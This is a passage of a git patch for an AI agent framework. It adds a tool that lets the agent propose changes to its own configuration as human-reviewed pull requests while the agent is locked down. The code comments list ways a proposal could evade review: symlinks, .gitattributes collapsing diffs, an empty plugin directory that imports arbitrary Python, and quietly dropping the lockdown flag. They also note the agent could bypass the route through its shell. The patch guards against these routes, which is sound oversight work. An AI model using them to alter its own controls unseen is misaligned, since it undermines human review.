From c0698c2fe07adba2fc7bd18875221e343003558f Mon Sep 17 00:00:00 2001 From: Alex Soffronow-Pagonidis Date: Tue, 28 Jul 2026 11:12:47 +0200 Subject: [PATCH 1/4] Self-modification via PR (propose_config_change + nerve-workspace skill) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Under lockdown the agent cannot edit tracked config directly, so it proposes: branch, commit, push, and open a PR against the workspace repo where a human reviews it. Unlocked instances keep editing directly. This ships as its own skill so the existing app-codebase workflow is untouched, with a one-line pointer added to it. Proposals are restricted to the reviewed-config surface and classified by effect, not by file extension — the question is what a file causes the daemon to run, not what it is named. Path traversal is refused and the branch ref is not leaked. A proposal is based on the remote's default branch rather than local HEAD, so it cannot carry unreviewed local commits into the very PR meant to get them reviewed, and it can commit on a box with no git identity configured. The reviewer notice flags a change to lockdown by diffing the proposal against the current tracked file rather than by presence: presence would flag every proposal from a locked instance for its own unchanged flag, and a notice that always fires teaches reviewers to skip it. Keys that are dangerous whenever they appear stay on presence; keys that are dangerous when they change are diffed. The split is commented so it is not unified back into a bug. Co-Authored-By: Claude --- nerve/agent/tools/handlers/__init__.py | 2 + nerve/agent/tools/handlers/config_pr.py | 86 ++ nerve/agent/tools/schemas.py | 48 + nerve/config_pr.py | 669 ++++++++++++ nerve/templates/skills/nerve-dev/SKILL.md | 5 + .../templates/skills/nerve-workspace/SKILL.md | 113 ++ tests/test_config_pr.py | 972 ++++++++++++++++++ 7 files changed, 1895 insertions(+) create mode 100644 nerve/agent/tools/handlers/config_pr.py create mode 100644 nerve/config_pr.py create mode 100644 nerve/templates/skills/nerve-workspace/SKILL.md create mode 100644 tests/test_config_pr.py diff --git a/nerve/agent/tools/handlers/__init__.py b/nerve/agent/tools/handlers/__init__.py index ce531dbb..9d111d5a 100644 --- a/nerve/agent/tools/handlers/__init__.py +++ b/nerve/agent/tools/handlers/__init__.py @@ -9,6 +9,7 @@ from nerve.agent.tools.registry import ToolRegistry +from nerve.agent.tools.handlers.config_pr import CONFIG_PR_SPECS from nerve.agent.tools.handlers.hoa import HOA_SPECS from nerve.agent.tools.handlers.mcp_admin import MCP_ADMIN_SPECS from nerve.agent.tools.handlers.memory import MEMORY_SPECS @@ -39,6 +40,7 @@ def build_default_registry() -> ToolRegistry: *SKILL_SPECS, *NOTIFICATION_SPECS, *MCP_ADMIN_SPECS, + *CONFIG_PR_SPECS, *WAKEUP_SPECS, *WORKFLOW_RUN_SPECS, *REVIEW_LOOP_SPECS, diff --git a/nerve/agent/tools/handlers/config_pr.py b/nerve/agent/tools/handlers/config_pr.py new file mode 100644 index 00000000..2bfd65ad --- /dev/null +++ b/nerve/agent/tools/handlers/config_pr.py @@ -0,0 +1,86 @@ +"""Tool handler: propose_config_change — open a PR against the workspace repo. + +This is how the agent changes its own configuration (skills, cron, settings) +when it can't edit the live workspace directly — always under lockdown, and the +recommended reviewed path otherwise. See the `nerve-workspace` skill. +""" + +from __future__ import annotations + +import asyncio +import logging +import time + +from nerve.agent.tools.registry import ToolContext, ToolResult, ToolSpec +from nerve.agent.tools.schemas import PROPOSE_CONFIG_CHANGE_SCHEMA + +logger = logging.getLogger(__name__) + + +async def propose_config_change_handler(ctx: ToolContext, args: dict) -> ToolResult: + from pathlib import Path + + from nerve.config_pr import propose_config_change + + config = ctx.config + if config is None: + return ToolResult.text("Config not available.", is_error=True) + + workspace = Path(config.workspace) + config_dir = Path(config.config_dir) if config.config_dir else workspace + title = args["title"] + body = args.get("body", "") + changes = args["changes"] + + try: + result = await asyncio.to_thread( + propose_config_change, + workspace, config_dir, title, body, changes, int(time.time()), + ) + except Exception as e: # noqa: BLE001 + logger.error("propose_config_change failed: %s", e) + return ToolResult.text(f"Could not open PR: {e}", is_error=True) + + if result.ok: + text = f"Opened PR on branch `{result.branch}`:\n{result.pr_url}" + if result.code_paths: + # Validation never runs or parses a bundle's own code, so the + # reviewer is the only check on it. Say it here too: the tool only + # recognizes the effects it knows about, and the agent knows what it + # actually intended. + listed = ", ".join(f"`{p}`" for p in result.code_paths) + text += ( + f"\n\nThis PR changes what runs on the instance ({listed}) and the " + "PR body says so. Nothing validates it — repeat it in your own " + "words when you report the PR." + ) + return ToolResult.text(text) + if result.validation_errors: + errs = "\n".join(f"- {e}" for e in result.validation_errors) + return ToolResult.text( + f"Change is invalid — no PR opened. Fix these and retry:\n{errs}", + is_error=True, + ) + return ToolResult.text(f"Could not open PR: {result.message}", is_error=True) + + +PROPOSE_CONFIG_CHANGE_SPEC = ToolSpec( + name="propose_config_change", + description=( + "Propose a change to your own configuration (skills, cron jobs, settings) " + "by opening a pull request against the workspace git repo, for human " + "review. Use this — never edit tracked config files directly — when the " + "instance is locked (remote-only), or whenever a reviewed change is " + "wanted. Provide the FULL new content of each file you want to change; " + "paths are relative to the workspace root (e.g. 'config/cron/jobs.yaml') " + "and must be reviewed configuration — 'config/…', 'skills/…', or a " + "workspace-root instruction file. The change is validated before the PR " + "is opened; an invalid change, or any path outside that surface, is " + "rejected with the reasons to fix and no PR is opened." + ), + input_schema=PROPOSE_CONFIG_CHANGE_SCHEMA, + handler=propose_config_change_handler, +) + + +CONFIG_PR_SPECS = [PROPOSE_CONFIG_CHANGE_SPEC] diff --git a/nerve/agent/tools/schemas.py b/nerve/agent/tools/schemas.py index 2f0ad3c6..ffc3a563 100644 --- a/nerve/agent/tools/schemas.py +++ b/nerve/agent/tools/schemas.py @@ -849,3 +849,51 @@ "properties": {}, "required": [], } + +# ----- Config self-modification ----- + +PROPOSE_CONFIG_CHANGE_SCHEMA = { + "type": "object", + "properties": { + "title": { + "type": "string", + "description": "PR title — a concise summary of the config change.", + }, + "body": { + "type": "string", + "description": "PR description: what changed and why (Markdown).", + "default": "", + }, + "changes": { + "type": "array", + "description": ( + "Files to write in the PR, each the FULL new file content. Paths " + "are relative to the workspace root (e.g. 'config/cron/jobs.yaml', " + "'skills/my-skill/SKILL.md') and must be reviewed configuration: " + "anything under 'config/' or 'skills/', or a workspace-root " + "instruction file (SOUL.md, IDENTITY.md, USER.md, AGENTS.md, " + "TOOLS.md). Runtime state (MEMORY.md, TASK.md, memory/) and the " + "rest of the repository are refused, as is any executable file " + "other than a cron gate plugin at 'config/cron/gates/.py'. " + "A single refused path rejects the whole proposal — nothing is " + "dropped silently." + ), + "items": { + "type": "object", + "properties": { + "path": { + "type": "string", + "description": ( + "Path relative to the workspace root, inside " + "'config/', 'skills/', or a root instruction file." + ), + }, + "content": {"type": "string", "description": "Full new content of the file."}, + }, + "required": ["path", "content"], + }, + "minItems": 1, + }, + }, + "required": ["title", "changes"], +} diff --git a/nerve/config_pr.py b/nerve/config_pr.py new file mode 100644 index 00000000..a2105de8 --- /dev/null +++ b/nerve/config_pr.py @@ -0,0 +1,669 @@ +"""Propose a config change as a PR against the workspace repo. + +This is how Nerve changes its own configuration when it can't (or shouldn't) edit +the live workspace directly — notably under lockdown, where runtime edits to +tracked config are blocked. Instead of touching the running workspace, it stages +the change in a throwaway git worktree off the remote's default branch, validates it, +pushes a branch, and opens a PR via ``gh`` for human review. Nothing in the live +working tree is modified (so it never conflicts with ff-only sync). + +**What this is for.** A change that goes through here is reviewed, attributable +and recorded in the repository's history. It is not a barrier and cannot be one: +the agent has a shell, and a determined one can write the same files directly. +Lockdown and this tool exist so that the audit trail is honest, not so that the +alternative is impossible. That is also why a change with an executable effect is +*flagged* rather than refused — the goal is that the human approving the pull +request knows what they are approving. +""" + +from __future__ import annotations + +import logging +import re +import shutil +import subprocess +import tempfile +from dataclasses import dataclass, field +from pathlib import Path + +import yaml + +from nerve.config import _is_within +from nerve.sync_service import _git, is_git_repo + +logger = logging.getLogger(__name__) + +_GIT_TIMEOUT_SECONDS = 120 + +# Used only when git cannot work out a committer itself. A daemon on a server +# often has no global git identity, and `git commit` then fails outright with +# "empty ident name" — at which point the branch and the worktree already exist +# and a proposal that was entirely valid reports failure. `.invalid` is the +# reserved TLD (RFC 2606), so this can never resolve to a real mailbox. +_FALLBACK_COMMITTER = ("Nerve", "nerve@nerve.invalid") + +# What a proposal may change, relative to the workspace root. An allowlist, not a +# list of forbidden paths, because the workspace repo is also the repo the daemon +# runs out of: ``.git/hooks/``, ``.github/workflows/`` (the CI that validates the +# bundle) and ``scripts/`` (which the notification handlers shell out to) are all +# reachable from a "config change" that is only checked for traversal, and none of +# them are config. Anything not named below stays out of scope. +_ALLOWED_DIRS = ("config", "skills") + + +def _committer_args(cwd: Path) -> list[str]: + """``-c user.*`` overrides, but only when git cannot resolve an identity. + + Asked unconditionally, these would override a real operator identity and + attribute every config PR to the daemon, so defer to whatever is configured + and step in only when there is nothing at all. ``git var`` is the question + git itself answers, rather than reading config keys and re-deriving its + precedence rules here. + """ + if _git(["var", "GIT_COMMITTER_IDENT"], cwd).returncode == 0: + return [] + name, email = _FALLBACK_COMMITTER + logger.info( + "No git identity configured; committing the proposal as %s <%s>", name, email, + ) + return ["-c", f"user.name={name}", "-c", f"user.email={email}"] + +# Workspace-root files that are the agent's own reviewed instructions. Not +# MEMORY.md, TASK.md or memory/: those are runtime state the instance rewrites +# for itself, and routing them through review would mean a pull request per +# thought while telling the reviewer nothing. +_ALLOWED_ROOT_FILES = frozenset({ + "SOUL.md", "IDENTITY.md", "USER.md", "AGENTS.md", "TOOLS.md", +}) + +# Names that decide how git renders or tracks the rest of the subtree. A +# ``.gitattributes`` marking ``config/`` binary or generated collapses every +# later diff under it, which removes the only thing the reviewer has to look at. +_REFUSED_NAMES = frozenset({".gitattributes", ".gitignore"}) + +# Suffixes read as code rather than configuration. +_CODE_SUFFIXES = frozenset({ + ".py", ".pyc", ".pyo", ".sh", ".bash", ".zsh", ".fish", ".pl", ".rb", + ".js", ".mjs", ".cjs", ".ts", ".ps1", ".php", +}) + +# The one place a proposal may carry code. Cron gate plugins are a supported +# feature — the daemon imports ``/config/cron/gates/*.py`` +# (non-recursively) at start-up and on every cron reload — so refusing them +# outright would make a legitimate config change inexpressible here and push it +# onto the unreviewed route. Everywhere else the proposable surface is YAML and +# Markdown, and a file of code in it is a code drop wearing a config change's +# title. +_GATE_PLUGIN_DIR = ("config", "cron", "gates") + +# Two lists of watched settings keys, judged by two different rules. Do not merge +# them: each rule is a bug when applied to the other list. +# +# _EFFECTFUL_SETTINGS_KEYS is judged by *presence* in the proposed file. These +# keys name something the daemon will run, and their safe state is not being +# there at all — so the question is "does the file I am approving spawn a +# subprocess", which is about the proposed file alone. Approving a rewrite of +# settings.yaml is approving every line in it, and a re-stated MCP server is +# still an MCP server the reviewer should have their eye on. +# +# _SECURITY_SETTINGS_KEYS is judged by *change* against the revision in the base +# branch. These keys are protections whose safe state is being switched on and +# stated, so presence would fire on the steady state — every settings proposal a +# locked instance ever made would flag its own unchanged `lockdown: true`, and a +# notice that always cries wolf teaches reviewers to scroll past it. Presence +# also cannot see the case that matters most: deleting the line disarms the +# control exactly as well as setting it false, and there is nothing present to +# notice. + +# Keys whose whole purpose is to name something the daemon will run: an MCP +# server it spawns, a CLI it shells out to, a directory of Python it imports. +# Deliberately short and deliberately incomplete — configuration is broadly +# effectful, and enumerating every key that eventually reaches a subprocess is a +# list that rots with the schema. This catches the ones a reviewer would most +# want called out; it is not a boundary and nothing depends on it being complete. +_EFFECTFUL_SETTINGS_KEYS = ( + ("mcp_servers",), + ("external_agents",), + ("codex",), + ("proxy",), + ("houseofagents",), + ("cron", "gate_plugins_dir"), +) + +# Key -> what turning it changes, quoted into the notice so the reviewer does not +# have to know the flag to judge the diff. +_SECURITY_SETTINGS_KEYS: dict[tuple[str, ...], str] = { + ("lockdown",): ( + "decides whether the machine-local config layers are read at all, " + "whether the legacy cron directory is honored, and whether the daemon " + "may write tracked config at runtime" + ), +} + +_SETTINGS_FILE = "config/settings.yaml" + +# Distinguishes "the settings do not mention this key" from a key stated with a +# null or empty value, which ``None`` alone cannot (see +# :func:`_effectful_settings_keys`). +_ABSENT = object() + +# "The revision this is being compared against could not be established" — as +# opposed to a revision that was read and does not mention the key. See +# :func:`_current_settings`. +_UNKNOWN = object() + + +@dataclass +class ProposeResult: + ok: bool + pr_url: str = "" + branch: str = "" + message: str = "" + validation_errors: list[str] = field(default_factory=list) + #: Staged paths that change what runs (see :func:`_executable_effect`). + code_paths: list[str] = field(default_factory=list) + + +def _gh(args: list[str], cwd: Path) -> subprocess.CompletedProcess: + """Run a gh command; captured, never raises (missing gh → rc=1).""" + try: + return subprocess.run( + ["gh", *args], cwd=str(cwd), capture_output=True, text=True, + timeout=_GIT_TIMEOUT_SECONDS, + ) + except FileNotFoundError: + return subprocess.CompletedProcess(args, 1, "", "gh CLI not found on PATH") + except subprocess.TimeoutExpired: + return subprocess.CompletedProcess(args, 1, "", "gh command timed out") + + +def _remote_default_branch(workspace: Path) -> str: + """The branch ``origin`` calls its default, or ``""`` if nothing can say. + + Deliberately not the local ``HEAD``. A proposal is a pull request against + the branch the remote merges into, and the checkout the workspace happens to + be sitting on says nothing about that: a workspace parked on a feature + branch would silently branch off and target *that* branch, carrying its + unmerged commits into the proposal's diff, and a detached HEAD — what a sync + leaves behind while it validates a rev — makes ``rev-parse --abbrev-ref + HEAD`` answer the literal string ``HEAD``, which then reaches ``git fetch + origin HEAD`` and ``gh pr create --base HEAD``. + + The remote is asked first because it is the only authoritative answer: + ``refs/remotes/origin/HEAD`` is a snapshot taken at clone time and nothing + refreshes it when the default branch is renamed, so trusting the cache can + target a branch that has not been the default for a year. The cache is the + fallback for a remote that cannot be reached. Empty means neither could + answer, which is a state a real workspace reaches: ``git remote add`` + followed by ``git fetch`` never writes the cached ref at all. + """ + ls = _git(["ls-remote", "--symref", "origin", "HEAD"], workspace) + if ls.returncode == 0: + for line in ls.stdout.splitlines(): + # "ref: refs/heads/mainHEAD", ahead of the plain sha line. + ref, _, name = line.partition("\t") + if name.strip() == "HEAD" and ref.startswith("ref: refs/heads/"): + return ref[len("ref: refs/heads/"):].strip() + cached = _git(["symbolic-ref", "--short", "refs/remotes/origin/HEAD"], workspace) + if cached.returncode == 0 and cached.stdout.strip().startswith("origin/"): + return cached.stdout.strip()[len("origin/"):] + return "" + + +def _slug(text: str, ts: int) -> str: + base = re.sub(r"[^a-z0-9]+", "-", text.lower()).strip("-")[:40] or "change" + return f"nerve-config/{base}-{ts}" + + +def _rel_escapes(rel: str) -> bool: + """True if an agent-provided path is absolute or contains a ``..`` component.""" + rel = str(rel) + if not rel or rel.startswith("/") or Path(rel).is_absolute(): + return True + return ".." in Path(rel).parts + + +def _is_code_name(name: str) -> bool: + """True if ``name`` names code. + + Not ``Path.suffix``, which calls a file named exactly ``.py`` suffix-less + while the gate-plugin loader's ``*.py`` glob matches it perfectly happily. + Trailing dots and spaces come off first: not every filesystem this can reach + keeps them, so ``gate.py.`` and ``gate.py`` may be the same file by the time + anything globs the directory. + """ + trimmed = name.rstrip(". ").lower() + return any(trimmed.endswith(suffix) for suffix in _CODE_SUFFIXES) + + +def _is_gate_plugin(parts: tuple[str, ...]) -> bool: + """True for ``config/cron/gates/.py`` — and only that. + + The loader globs the directory one level deep, so a nested path is not a gate + plugin: it would never be imported, and accepting it would be accepting code + on the strength of a directory prefix that means nothing. The name is matched + as the loader sees it, so a spelling the glob would miss (``gate.py.``, + ``gate.pyc``) is not a gate plugin and falls through to being refused. + """ + depth = len(_GATE_PLUGIN_DIR) + return ( + len(parts) == depth + 1 + and parts[:depth] == _GATE_PLUGIN_DIR + and parts[-1].lower().endswith(".py") + ) + + +def _proposal_path_problem(rel: str) -> str | None: + """Why a proposal may not write ``rel``, or ``None`` if it may. + + Scope, not containment. :func:`_rel_escapes` and :func:`_safe_dst` answer + "does this stay inside the workspace"; this answers "is this a configuration + change at all". Both are needed: a path can be perfectly contained and still + be a git hook, a CI workflow, or a helper script the daemon shells out to, + landed under a title that says it edits a cron schedule. + + Note what this is and is not. It does not stop the agent from writing the + config subtree — a shell command still can, which is why lockdown is + documented as a config-integrity control rather than a sandbox. It keeps the + *reviewed* route honest: what arrives on a reviewer's screen labelled "config + change" is config. + """ + if _rel_escapes(rel): + return "must be a path relative to the workspace root, with no '..' segments" + parts = Path(rel).parts + in_allowed_dir = len(parts) > 1 and parts[0] in _ALLOWED_DIRS + is_root_file = len(parts) == 1 and parts[0] in _ALLOWED_ROOT_FILES + if not (in_allowed_dir or is_root_file): + return ( + "outside the proposable surface. A proposal may change " + + ", ".join(f"{d}/…" for d in _ALLOWED_DIRS) + + " and the workspace-root instruction files (" + + ", ".join(sorted(_ALLOWED_ROOT_FILES)) + + "); runtime state (MEMORY.md, TASK.md, memory/) and the rest of the " + "repository are not reviewed configuration" + ) + if ".git" in parts: + return "git's own metadata is not configuration, and git will not track a path through .git/" + if parts[-1] in _REFUSED_NAMES: + return ( + f"{parts[-1]} decides how git renders and tracks everything beside it; " + "marking the subtree binary or generated would collapse the diff this " + "whole flow exists to put in front of a reviewer" + ) + if _is_code_name(parts[-1]) and not _is_gate_plugin(parts): + return ( + "a proposal carries configuration, not code. The only executable file " + "it may add is a cron gate plugin at config/cron/gates/.py" + ) + return None + + +def _safe_dst(root: Path, rel: str) -> Path | None: + """Resolve ``rel`` under ``root``, or None if it must not be written there. + + Re-checks :func:`_proposal_path_problem` — which only ever sees a string — + against the tree the change will actually land in. The worktree is checked + out from the remote, git tracks symlinks, and a reviewed bundle carrying + ``config/cron/gates`` as a symlink would make an allowed-looking path resolve + somewhere else entirely. Containment is judged with the same rule lockdown + uses for its own path guards. + + Landing inside the worktree is not enough — the path it lands *at* has to be + one a proposal may write too, or a symlink between two tracked directories + would let ``config/cron/gates/x.py`` (code, allowed there) be written as + ``skills/x.py`` (code, refused there). + """ + if _proposal_path_problem(rel): + return None + # One resolved root for both questions below. _is_within resolves whatever + # it is handed, so the raw root answers the same today — but a guard that + # judges containment against one spelling of the root and re-checks scope + # relative to another holds only for as long as the helper keeps resolving + # on the caller's behalf, and would go quiet, not loud, if it stopped. + root_resolved = root.resolve() + dst = (root / rel).resolve() + if dst == root_resolved or not _is_within(dst, root_resolved): + return None + if _proposal_path_problem(str(dst.relative_to(root_resolved))): + return None + return dst + + +def _settings_mapping(text: str) -> dict | None: + """``text`` read as a settings mapping, or ``None`` if it is not one. + + An empty file is a mapping with no keys, not a shape we failed to read: YAML + parses it to ``None`` and the loader treats it as "sets nothing", which is a + definite answer about every key in it. + """ + try: + parsed = yaml.safe_load(text) + except yaml.YAMLError: + return None + if parsed is None: + return {} + return parsed if isinstance(parsed, dict) else None + + +def _lookup(parsed: dict, key: tuple[str, ...]): + """The value at a dotted key path, or :data:`_ABSENT` if nothing states it.""" + node = parsed + for part in key: + if not isinstance(node, dict) or part not in node: + return _ABSENT + node = node[part] + return node + + +def _effectful_settings_keys(content: str) -> list[str]: + """Watched keys present in a proposed ``config/settings.yaml``. + + Presence, not truthiness. A watched key stated with a falsey value is still + a change to what runs, and is often the direction that matters, because the + loader does not read "empty" as "unset": ``cron: {gate_plugins_dir: ''}`` + resolves to ``Path('.')`` — the daemon's working directory, every ``*.py`` + in it imported and executed at start-up and on each cron reload — and + ``mcp_servers: {}`` withdraws the servers the merged config used to name. + Both parse and validate clean, so this notice is the only place a reviewer + would hear about either. A bare ``key:`` counts as stated too: the proposal + put the key there, and what the loader makes of the null is exactly what the + review is for. + + Unparseable or oddly-shaped content yields nothing: validation is about to + reject the change anyway, and guessing at a broken file would announce + effects the merged config would never have. + """ + parsed = _settings_mapping(content) + if parsed is None: + return [] + return [ + ".".join(key) + for key in _EFFECTFUL_SETTINGS_KEYS + if _lookup(parsed, key) is not _ABSENT + ] + + +def _current_settings(dst: Path) -> dict | object: + """What ``config/settings.yaml`` says *before* this proposal, or ``_UNKNOWN``. + + The staged worktree is checked out from the base branch and the file has not + been overwritten yet, so what is on disk here is exactly the revision the + pull request will be diffed against — which is the only thing that can say + whether a proposal moves a setting or restates it. + + A file that is not there is not unknown: the base branch states none of these + keys, and a proposal that also states none of them changes nothing. A file + that *is* there and cannot be read or parsed is genuinely unknown, and says + so — the revision nobody could read is precisely the one that might have had + ``lockdown: true`` in it, and staying quiet about that is the failure this + check exists to avoid. + """ + if not dst.exists(): + return {} + try: + text = dst.read_text(encoding="utf-8") + except (OSError, UnicodeDecodeError): + return _UNKNOWN + parsed = _settings_mapping(text) + return _UNKNOWN if parsed is None else parsed + + +def _shown(value) -> str: + """A watched value as the notice should spell it. + + Booleans in the file's own spelling, not Python's, so the notice quotes what + the reviewer will find on the line. "not stated" is not the same phrase as + ``false`` on purpose: it is the case a presence check cannot see, and naming + it is most of the point of reporting the transition at all. + """ + if value is _ABSENT: + return "not stated" + if isinstance(value, bool): + return "true" if value else "false" + return "null" if value is None else repr(value) + + +def _security_settings_change(content: str, dst: Path) -> str | None: + """Why a proposal's security keys need a reviewer's eye, or ``None``. + + Change against the base branch, not presence — see the note on + :data:`_SECURITY_SETTINGS_KEYS`. "Change" is judged on the *stated* value, so + absent and ``false`` are different even though both resolve to off: adding + ``lockdown: false`` to a file that never mentioned it puts a new line in the + diff about a control that is now pinned off in the tracked config, and that + is worth one notice on the one proposal that does it. Restating it on every + later proposal is not, and does not fire. + + Unreadable *proposed* content yields nothing, for the same reason + :func:`_effectful_settings_keys` does: validation will reject it and no PR + will be opened. Unreadable *current* content is the opposite case and is + reported — see :func:`_current_settings`. + """ + parsed = _settings_mapping(content) + if parsed is None: + return None + current = _current_settings(dst) + if current is _UNKNOWN: + names = ", ".join(".".join(key) for key in _SECURITY_SETTINGS_KEYS) + return ( + f"may change {names}: the revision in the base branch could not be " + "read or parsed, so this could not be compared and is reported " + "rather than assumed harmless" + ) + moved = [] + for key, why in _SECURITY_SETTINGS_KEYS.items(): + before, after = _lookup(current, key), _lookup(parsed, key) + if before != after: + moved.append( + f"{'.'.join(key)} ({_shown(before)} → {_shown(after)}), which {why}" + ) + return "changes " + "; ".join(moved) if moved else None + + +def _executable_effect(staged: str, dst: Path, content: str) -> str | None: + """Why the reviewer should look hard at this change, or ``None``. + + Judged against ``dst`` — where the file actually lands and what is already + there — rather than the path the caller asked for, because a tracked symlink + can make the two differ and the announcement has to describe the change that + is really being made. + + Reasons accumulate rather than short-circuit: a settings file the repository + happens to mark executable would otherwise be announced for its mode alone, + and the lockdown flip inside it would go unmentioned. + """ + reasons: list[str] = [] + if _is_code_name(Path(staged).name): + reasons.append("the daemon imports and runs this file") + elif dst.exists() and dst.stat().st_mode & 0o111: + # write_text keeps an existing file's mode, so replacing a tracked 755 + # file ships new code under the old permissions with no mode change in + # the diff to give it away. + reasons.append("replaces a file the repository marks executable") + if staged == _SETTINGS_FILE: + keys = _effectful_settings_keys(content) + if keys: + reasons.append( + f"declares {', '.join(keys)}, which name things the daemon runs" + ) + changed = _security_settings_change(content, dst) + if changed: + reasons.append(changed) + return "; ".join(reasons) or None + + +def _body_with_code_notice(body: str, effects: dict[str, str]) -> str: + """Put the executable effects at the top of the PR description.""" + if not effects: + return body + notice = ( + "**This proposal changes what runs on the instance.** Config validation " + "never executes or parses a bundle's own code, and never judges whether a " + "protection should be switched off, so this review is the only check on " + "the following:\n\n" + + "\n".join(f"- `{p}` — {why}" for p, why in effects.items()) + ) + return f"{notice}\n\n---\n\n{body}" if body else notice + + +def propose_config_change( + workspace: Path, + config_dir: Path, + title: str, + body: str, + changes: list[dict], + now: int, + branch: str | None = None, +) -> ProposeResult: + """Open a PR against the workspace repo with the given file changes. + + ``changes`` is a list of ``{"path": , "content": }``. + Every path must be inside the proposable surface (see + :func:`_proposal_path_problem`); one that is not rejects the whole proposal. + The change is staged in a temp worktree off origin's default branch (see + :func:`_remote_default_branch`, never the local ``HEAD``), validated, and — + only if valid — pushed as a branch with a PR opened via ``gh``. ``now`` is a + unix timestamp used to make the branch name unique. Never raises. + """ + workspace = Path(workspace) + if not is_git_repo(workspace): + return ProposeResult(ok=False, message=f"{workspace} is not a git repository") + if not _git(["remote"], workspace).stdout.strip(): + return ProposeResult(ok=False, message="workspace has no git remote configured") + if not changes: + return ProposeResult(ok=False, message="no changes provided") + + # Screen every path BEFORE touching git. Refused paths reject the whole + # proposal rather than being dropped from it: dropping would open a PR whose + # title and body describe a change it does not contain, and would let a + # refused path go unnoticed by the agent and the reviewer both. + refused: list[str] = [] + for ch in changes: + rel = ch.get("path") if isinstance(ch, dict) else None + if not rel or "content" not in ch: + return ProposeResult(ok=False, message="each change needs a 'path' and 'content'") + problem = _proposal_path_problem(str(rel)) + if problem: + refused.append(f"{rel!r}: {problem}") + if refused: + return ProposeResult( + ok=False, + message=( + f"refused {len(refused)} of {len(changes)} proposed path(s) — the " + "proposal is rejected as a whole, nothing was dropped silently:\n" + + "\n".join(f"- {r}" for r in refused) + ), + ) + + # One resolved name for the base, used for the fetch, the worktree it is + # branched from and the PR's --base, so the three can never disagree. + base_branch = _remote_default_branch(workspace) + if not base_branch: + return ProposeResult( + ok=False, + message=( + "cannot work out origin's default branch, so there is no base to " + "propose against — origin is unreachable and the workspace has no " + "cached refs/remotes/origin/HEAD. Guessing (say 'main') would " + "branch off, and target, whatever that name happens to mean in " + "this repository. Run 'git remote set-head origin -a' in the " + "workspace, or make origin reachable, and retry." + ), + ) + branch = branch or _slug(title, now) + + fetch = _git(["fetch", "origin", base_branch], workspace) + if fetch.returncode != 0: + return ProposeResult( + ok=False, message=f"git fetch failed: {fetch.stderr.strip()}", + ) + + tmp = Path(tempfile.mkdtemp(prefix=".nerve-pr-", dir=str(workspace.parent))) + wt = tmp / "wt" + add = _git(["worktree", "add", "-b", branch, str(wt), f"origin/{base_branch}"], workspace) + if add.returncode != 0: + shutil.rmtree(tmp, ignore_errors=True) + return ProposeResult(ok=False, branch=branch, message=f"worktree add failed: {add.stderr.strip()}") + + try: + # Apply the proposed file contents into the staged worktree, classifying + # each change by where it lands and what was already there. + effects: dict[str, str] = {} + for ch in changes: + dst = _safe_dst(wt, ch["path"]) + if dst is None: # already screened upfront; defense-in-depth + return ProposeResult( + ok=False, branch=branch, + message=( + f"{ch['path']!r} does not land where it claims to inside the " + "staged worktree (a symlink in the repo?) — no PR opened" + ), + ) + staged = dst.relative_to(wt.resolve()).as_posix() + content = str(ch["content"]) + effect = _executable_effect(staged, dst, content) + if effect: + effects[staged] = effect + dst.parent.mkdir(parents=True, exist_ok=True) + dst.write_text(content, encoding="utf-8") + + code_paths = list(effects) + body = _body_with_code_notice(body, effects) + if effects: + logger.warning( + "propose_config_change: %s changes what runs on this instance: %s", + branch, ", ".join(f"{p} ({why})" for p, why in effects.items()), + ) + + # Validate the proposed bundle — never open a PR for a broken config. + from nerve.config_validate import validate_config_bundle + errors = validate_config_bundle(config_dir, workspace_override=wt).errors + if errors: + return ProposeResult( + ok=False, branch=branch, validation_errors=errors, code_paths=code_paths, + message=f"proposed change is invalid ({len(errors)} error(s)) — no PR opened", + ) + + _git(["add", "-A"], wt) + commit_args = [*_committer_args(wt), "commit", "-m", title] + if body: + commit_args += ["-m", body] + commit = _git(commit_args, wt) + if commit.returncode != 0: + return ProposeResult( + ok=False, branch=branch, + message=f"nothing to commit or commit failed: {commit.stderr.strip() or commit.stdout.strip()}", + ) + + push = _git(["push", "-u", "origin", branch], wt) + if push.returncode != 0: + return ProposeResult(ok=False, branch=branch, message=f"git push failed: {push.stderr.strip()}") + + pr = _gh( + ["pr", "create", "--title", title, "--body", body or title, + "--head", branch, "--base", base_branch], + wt, + ) + if pr.returncode != 0: + return ProposeResult( + ok=False, branch=branch, + message=( + f"branch pushed but 'gh pr create' failed: {pr.stderr.strip()}. " + "Open the PR manually." + ), + ) + pr_url = pr.stdout.strip().splitlines()[-1] if pr.stdout.strip() else "" + return ProposeResult( + ok=True, branch=branch, pr_url=pr_url, code_paths=code_paths, + message=f"opened PR for {branch}: {pr_url}", + ) + except Exception as e: # noqa: BLE001 — keep the "never raises" contract + logger.error("propose_config_change failed: %s", e) + return ProposeResult(ok=False, branch=branch, message=f"internal error: {e}") + finally: + # Remove the worktree AND the local branch it created — otherwise a + # dangling nerve-config/* branch accumulates and blocks a same-name retry. + # (The pushed remote branch, which the PR targets, is unaffected.) + _git(["worktree", "remove", "--force", str(wt)], workspace) + _git(["branch", "-D", branch], workspace) + shutil.rmtree(tmp, ignore_errors=True) diff --git a/nerve/templates/skills/nerve-dev/SKILL.md b/nerve/templates/skills/nerve-dev/SKILL.md index a9039e88..3fcbd082 100644 --- a/nerve/templates/skills/nerve-dev/SKILL.md +++ b/nerve/templates/skills/nerve-dev/SKILL.md @@ -12,6 +12,11 @@ context: domain # Nerve Development Skill +> **Changing your own config (skills, cron, settings), not the app code?** Use +> the `nerve-workspace` skill and the `propose_config_change` tool instead — that +> edits the git-synced workspace repo. This skill is for developing the Nerve +> *application* codebase. + ## Repository Nerve lives under the **ClickHouse organization** on GitHub. diff --git a/nerve/templates/skills/nerve-workspace/SKILL.md b/nerve/templates/skills/nerve-workspace/SKILL.md new file mode 100644 index 00000000..70d9e094 --- /dev/null +++ b/nerve/templates/skills/nerve-workspace/SKILL.md @@ -0,0 +1,113 @@ +--- +name: Nerve Workspace Config +description: > + Change your own configuration — skills, cron jobs, sources, and settings that + live in the git-synced workspace repo. Use when asked to add/edit/remove a cron + job, create or change a skill, adjust settings, or "change your config", and + especially when this instance is locked (remote-only) so direct edits don't + apply. Triggers on "add a cron", "change your schedule", "edit your config", + "update settings", "propose a config change". +version: 1.0.0 +context: domain +--- + +# Managing Your Own Configuration + +Your configuration lives in the **workspace** — a git repository synced from a +shared remote (the config repo). It contains: + +- `config/settings.yaml` — shareable settings +- `config/cron/jobs.yaml`, `config/cron/system.yaml`, `config/cron/gates/` — cron +- `skills//SKILL.md` — skills +- `SOUL.md`, `IDENTITY.md`, `USER.md`, 